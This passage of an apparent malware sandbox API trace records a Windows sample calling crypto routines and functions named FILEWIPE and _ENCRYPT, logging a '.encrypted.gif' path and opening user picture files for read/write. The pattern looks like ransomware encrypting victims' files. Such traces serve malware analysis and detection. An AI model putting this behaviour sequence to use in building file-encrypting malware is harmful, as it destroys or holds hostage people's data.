lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.904] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.904] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.904] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.904] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.904] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.904] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.904] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0028.905] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.905] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.905] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.905] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.905] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.905] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.905] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.905] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.905] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.905] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.905] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.905] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.905] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.905] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.905] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.905] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.905] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.905] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.905] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.905] CryptReleaseContext (hProv=0xe8f4199930, dwFlags=0x0) returned 1 [0028.905] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.905] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.905] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.905] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.905] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.905] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.907] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.907] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.908] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.908] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0028.909] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.909] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.909] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.909] CharLowerBuffW (in: lpsz="byte[56997]", cchLength=0xb | out: lpsz="byte[56997]") returned 0xb [0028.910] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.910] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0028.910] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.910] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0028.910] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.910] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.910] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.910] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0028.910] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.910] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.910] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.910] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.910] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.910] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.910] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.910] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.910] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.910] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.910] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.910] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.910] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.910] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.910] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.910] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.911] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0028.911] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.911] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.911] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.911] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0028.911] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.911] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.911] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.911] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.911] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.911] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.911] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0028.911] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.911] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.911] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.911] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.912] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.913] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.913] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.913] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.913] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.913] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.913] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.913] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.913] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.913] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0028.913] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=9992) returned 1 [0028.914] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.914] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0028.914] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0028.914] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x2708, lpOverlapped=0x0) returned 1 [0028.914] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0028.914] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x2708, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.914] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=9992) returned 1 [0028.914] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\PwETTxmSaCc5.encrypted.gif\r\n", cchWideChar=59, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 59 [0028.914] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\PwETTxmSaCc5.encrypted.gif\r\n", cchWideChar=59, lpMultiByteStr=0xe8f4052120, cbMultiByte=59, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\PwETTxmSaCc5.encrypted.gif\r\n", lpUsedDefaultChar=0x0) returned 59 [0028.914] WriteFile (in: hFile=0x188, lpBuffer=0xe8f40515e0*, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40515e0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x3a, lpOverlapped=0x0) returned 1 [0028.914] CloseHandle (hObject=0x188) returned 1 [0028.916] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.916] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.916] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.916] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.916] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.916] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0028.917] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.917] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0028.918] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41788a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0028.918] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0028.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41788a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0028.918] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0028.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\Te2roUvKBps_RBXzkVE.jpg", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0028.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\Te2roUvKBps_RBXzkVE.jpg", cchWideChar=54, lpMultiByteStr=0xe8f404ba10, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\Te2roUvKBps_RBXzkVE.jpg", lpUsedDefaultChar=0x0) returned 54 [0028.919] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\Te2roUvKBps_RBXzkVE.jpg" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\te2rouvkbps_rbxzkve.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0028.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=54, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 54 [0028.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=54, lpWideCharStr=0xe8f4066c70, cchWideChar=54 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\Te2roUvKBps_RBXzkVE.jpg") returned 54 [0028.920] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.920] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.920] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.921] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0028.921] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178980, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0028.921] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0028.921] CloseHandle (hObject=0x188) returned 1 [0028.921] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.921] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.921] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.921] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0028.921] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.922] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0028.922] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0028.922] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.922] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.922] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.922] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.922] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.922] 